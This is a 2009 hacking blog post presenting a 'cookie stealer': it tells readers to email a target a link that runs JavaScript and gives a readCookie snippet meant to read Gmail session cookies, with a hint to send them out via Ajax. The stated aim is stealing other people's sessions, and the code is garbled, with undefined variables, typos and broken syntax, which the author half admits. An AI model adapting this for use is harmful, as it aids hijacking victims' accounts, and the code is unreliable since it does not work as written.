GeekCumTechie

Hack or Crack! :)

Monday, February 9, 2009

A defenitive Cookie Stealer!

I told you that it is a cookie stealer. I dunno whether this one will work even though my statement was something like that it works!
Anyways, the algorithm is here.
Anyone who knows JavaScript well can do this.
Anyone else too can but mainly for them. Just what you want to do is send the following java script code as a hypertext reference to your target. If you can run Java Script codes in a mail that would seem much and more better. A hacker should surely know so before checking out the code below please learn Core Java, Java Script or anything else that you feel may help you to hack.
No, no codes to hack. But the algorithm.
First send the target a mail with the content as a link with a hypertext reference as the code you create. First you should know Gmail Cookie name. Use Cookie Editor for this purpose. You will get it for Download in Mozilla Corporation official website. Download the cookie editor there. You should better use Mozilla Firefox to hack even though it has got nothing to do with hacking.
Then create a function named readCookie or as you wish.
Rest of the code:
var searchName=s+"=";
var cookies=document.cookie.split(';');
for(var i =0;i"lessthan"cookie.lenth;i++) (change less than to less than symbol.Oke!)
var c=cookies[i];
while(s.charAt(0)==' ')
c=c.substring(1,c.length);
if(indexOf(searchName)==0)
return c.substring(searchName.length,c.length);
}
return null;
}

Make necassary modifications if any.
To see the cookie do this
var pass=readCookie("S");
alert(pass);

Done!
Try stealing the cookie using Ajax Request.

0 comments:

Post a Comment